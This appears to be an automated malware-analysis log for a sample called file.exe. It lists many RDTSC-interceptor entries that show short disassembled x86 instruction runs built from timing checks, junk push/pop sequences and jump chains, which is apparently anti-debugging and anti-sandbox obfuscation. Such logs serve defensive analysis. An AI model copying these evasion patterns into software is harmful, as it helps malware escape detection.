Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90168 second address: 4D9016E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9016E second address: 4D90172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90172 second address: 4D90176 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90176 second address: 4D90196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F45A84F3301h 0x00000011 push esi 0x00000012 pop edi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90196 second address: 4D90243 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F45A8838C7Ch 0x00000013 and ah, FFFFFFF8h 0x00000016 jmp 00007F45A8838C7Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F45A8838C88h 0x00000022 jmp 00007F45A8838C85h 0x00000027 popfd 0x00000028 popad 0x00000029 mov esi, dword ptr [ebp+08h] 0x0000002c jmp 00007F45A8838C7Eh 0x00000031 xchg eax, edi 0x00000032 jmp 00007F45A8838C80h 0x00000037 push eax 0x00000038 pushad 0x00000039 mov cx, dx 0x0000003c mov ebx, 15707700h 0x00000041 popad 0x00000042 xchg eax, edi 0x00000043 pushad 0x00000044 push edx 0x00000045 call 00007F45A8838C80h 0x0000004a pop esi 0x0000004b pop edx 0x0000004c mov bx, cx 0x0000004f popad 0x00000050 test esi, esi 0x00000052 pushad 0x00000053 push ecx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90243 second address: 4D9024B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9024B second address: 4D9025D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 je 00007F461A9D703Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9025D second address: 4D90263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90263 second address: 4D90269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90269 second address: 4D9026D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9026D second address: 4D90321 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F45A8838C7Eh 0x00000019 sub si, 7538h 0x0000001e jmp 00007F45A8838C7Bh 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F45A8838C88h 0x0000002a add ecx, 3463EF98h 0x00000030 jmp 00007F45A8838C7Bh 0x00000035 popfd 0x00000036 popad 0x00000037 je 00007F461A9D6FC2h 0x0000003d jmp 00007F45A8838C86h 0x00000042 mov edx, dword ptr [esi+44h] 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 mov edi, 68473010h 0x0000004d call 00007F45A8838C89h 0x00000052 pop ecx 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90321 second address: 4D90397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a or edx, dword ptr [ebp+0Ch] 0x0000000d pushad 0x0000000e mov cx, C121h 0x00000012 mov edx, ecx 0x00000014 popad 0x00000015 test edx, 61000000h 0x0000001b jmp 00007F45A84F3308h 0x00000020 jne 00007F461A69162Ah 0x00000026 jmp 00007F45A84F3300h 0x0000002b test byte ptr [esi+48h], 00000001h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F45A84F32FDh 0x00000038 add ah, 00000006h 0x0000003b jmp 00007F45A84F3301h 0x00000040 popfd 0x00000041 mov ch, DBh 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90397 second address: 4D903B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F461A9D6F72h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D903B1 second address: 4D903B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D903B5 second address: 4D903BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80737 second address: 4D8073B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8073B second address: 4D8073F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8073F second address: 4D80745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80745 second address: 4D8078C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F45A8838C7Eh 0x00000010 pushfd 0x00000011 jmp 00007F45A8838C82h 0x00000016 or ax, AA68h 0x0000001b jmp 00007F45A8838C7Bh 0x00000020 popfd 0x00000021 pop ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8078C second address: 4D807AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F45A84F3307h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D807AD second address: 4D807C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A8838C84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D807C5 second address: 4D80822 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d movzx esi, bx 0x00000010 pushfd 0x00000011 jmp 00007F45A84F3301h 0x00000016 sbb esi, 5DAE3746h 0x0000001c jmp 00007F45A84F3301h 0x00000021 popfd 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 jmp 00007F45A84F32FEh 0x0000002a and esp, FFFFFFF8h 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov dl, 78h 0x00000032 mov dx, si 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80822 second address: 4D80848 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d call 00007F45A8838C82h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80848 second address: 4D80850 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80850 second address: 4D8086A instructions: 0x00000000 rdtsc 0x00000002 mov edx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F45A8838C80h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8086A second address: 4D80924 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F45A84F3301h 0x00000009 xor ax, BCC6h 0x0000000e jmp 00007F45A84F3301h 0x00000013 popfd 0x00000014 mov cx, FD77h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebx 0x0000001c jmp 00007F45A84F32FAh 0x00000021 xchg eax, esi 0x00000022 pushad 0x00000023 mov ax, B8BDh 0x00000027 movzx ecx, di 0x0000002a popad 0x0000002b push eax 0x0000002c jmp 00007F45A84F3304h 0x00000031 xchg eax, esi 0x00000032 jmp 00007F45A84F3300h 0x00000037 mov esi, dword ptr [ebp+08h] 0x0000003a jmp 00007F45A84F3300h 0x0000003f sub ebx, ebx 0x00000041 pushad 0x00000042 mov edi, 59231D72h 0x00000047 mov si, bx 0x0000004a popad 0x0000004b test esi, esi 0x0000004d pushad 0x0000004e mov eax, edi 0x00000050 push eax 0x00000051 push edx 0x00000052 pushfd 0x00000053 jmp 00007F45A84F32FDh 0x00000058 sbb esi, 49384246h 0x0000005e jmp 00007F45A84F3301h 0x00000063 popfd 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80924 second address: 4D80960 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 4E73B4F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a je 00007F461A9DE6D6h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F45A8838C86h 0x00000019 sub ecx, 46E3DA18h 0x0000001f jmp 00007F45A8838C7Bh 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80960 second address: 4D8097D instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, edx 0x00000009 popad 0x0000000a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F45A84F32FAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8097D second address: 4D8098F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A8838C7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8098F second address: 4D809A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx esi, bx 0x00000010 mov cx, dx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D809A3 second address: 4D80A13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F461A9DE664h 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 mov di, cx 0x00000016 popad 0x00000017 mov ecx, 107CFC95h 0x0000001c popad 0x0000001d test byte ptr [76FB6968h], 00000002h 0x00000024 jmp 00007F45A8838C80h 0x00000029 jne 00007F461A9DE64Ch 0x0000002f pushad 0x00000030 jmp 00007F45A8838C7Eh 0x00000035 mov di, si 0x00000038 popad 0x00000039 mov edx, dword ptr [ebp+0Ch] 0x0000003c pushad 0x0000003d jmp 00007F45A8838C7Ah 0x00000042 mov cx, EF61h 0x00000046 popad 0x00000047 xchg eax, ebx 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A13 second address: 4D80A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A17 second address: 4D80A1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A1B second address: 4D80A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A21 second address: 4D80A27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A27 second address: 4D80A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A2B second address: 4D80A86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F45A8838C89h 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edi, 7B5CDE6Eh 0x00000017 pushfd 0x00000018 jmp 00007F45A8838C7Fh 0x0000001d adc si, BF1Eh 0x00000022 jmp 00007F45A8838C89h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80A86 second address: 4D80AE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 movsx edi, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebx 0x0000000d pushad 0x0000000e jmp 00007F45A84F3300h 0x00000013 pushfd 0x00000014 jmp 00007F45A84F3302h 0x00000019 jmp 00007F45A84F3305h 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007F45A84F3301h 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80AE6 second address: 4D80AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80B4A second address: 4D80B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80B4E second address: 4D80B6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80B6B second address: 4D80B90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, ah 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 jmp 00007F45A84F3305h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80B90 second address: 4D80BA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D80BA3 second address: 4D80BD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3309h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F45A84F32FDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10687 second address: 4E106E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F45A8838C7Fh 0x00000008 pop ecx 0x00000009 mov bh, 1Ah 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov dh, cl 0x00000012 push ebx 0x00000013 mov eax, 4331F375h 0x00000018 pop eax 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F45A8838C80h 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 mov cx, 6A9Dh 0x00000026 call 00007F45A8838C7Ah 0x0000002b mov edi, ecx 0x0000002d pop esi 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 jmp 00007F45A8838C7Dh 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E106E5 second address: 4E106EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0099F second address: 4E009A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E009A3 second address: 4E009A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E009A7 second address: 4E009AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00779 second address: 4E0078B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A84F32FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0078B second address: 4E0078F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0078F second address: 4E0083F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a pushad 0x0000000b mov bl, al 0x0000000d call 00007F45A84F3305h 0x00000012 pop eax 0x00000013 popad 0x00000014 push edx 0x00000015 mov esi, 79ED35A3h 0x0000001a pop eax 0x0000001b popad 0x0000001c mov dword ptr [esp], ebp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F45A84F3305h 0x00000026 adc ecx, 48744FA6h 0x0000002c jmp 00007F45A84F3301h 0x00000031 popfd 0x00000032 push eax 0x00000033 pushfd 0x00000034 jmp 00007F45A84F3307h 0x00000039 sbb ecx, 3BFFC2DEh 0x0000003f jmp 00007F45A84F3309h 0x00000044 popfd 0x00000045 pop eax 0x00000046 popad 0x00000047 mov ebp, esp 0x00000049 pushad 0x0000004a mov dl, al 0x0000004c popad 0x0000004d pop ebp 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F45A84F32FEh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E0083F second address: 4E00845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00845 second address: 4E00849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00849 second address: 4E0084D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA002F second address: 4DA004F instructions: 0x00000000 rdtsc 0x00000002 mov esi, 7DD7CA01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F45A84F3303h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA004F second address: 4DA007D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 24h 0x00000005 pushfd 0x00000006 jmp 00007F45A8838C80h 0x0000000b and al, 00000078h 0x0000000e jmp 00007F45A8838C7Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA007D second address: 4DA0084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0084 second address: 4DA00FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F45A8838C84h 0x00000011 adc ecx, 70374638h 0x00000017 jmp 00007F45A8838C7Bh 0x0000001c popfd 0x0000001d mov ax, 146Fh 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 jmp 00007F45A8838C82h 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F45A8838C87h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA00FB second address: 4DA0113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A84F3304h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00C26 second address: 4E00C63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c jmp 00007F45A8838C80h 0x00000011 push dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007F45A8838C7Dh 0x0000001c push ecx 0x0000001d pop edi 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00C63 second address: 4E00CAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F45A84F32F9h 0x0000000e pushad 0x0000000f mov bh, ch 0x00000011 mov ax, bx 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007F45A84F3302h 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F45A84F32FDh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00CAC second address: 4E00CB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00CB0 second address: 4E00CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00CB6 second address: 4E00CED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F45A8838C7Bh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F45A8838C84h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00D3E second address: 4E00D43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00D43 second address: 4E00D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F45A8838C87h 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d movzx eax, al 0x00000010 pushad 0x00000011 mov ecx, ebx 0x00000013 mov ax, di 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F45A8838C85h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E00D86 second address: 4E00D9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3301h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB063E second address: 4DB0643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0643 second address: 4DB068E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3309h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f jmp 00007F45A84F32FEh 0x00000014 nop 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F45A84F3307h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB068E second address: 4DB0743 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F45A8838C81h 0x0000000f nop 0x00000010 jmp 00007F45A8838C7Eh 0x00000015 sub esp, 1Ch 0x00000018 pushad 0x00000019 jmp 00007F45A8838C7Eh 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F45A8838C80h 0x00000025 xor ecx, 42CCCD18h 0x0000002b jmp 00007F45A8838C7Bh 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007F45A8838C88h 0x00000037 add si, B778h 0x0000003c jmp 00007F45A8838C7Bh 0x00000041 popfd 0x00000042 popad 0x00000043 popad 0x00000044 xchg eax, ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F45A8838C80h 0x0000004e rdtsc
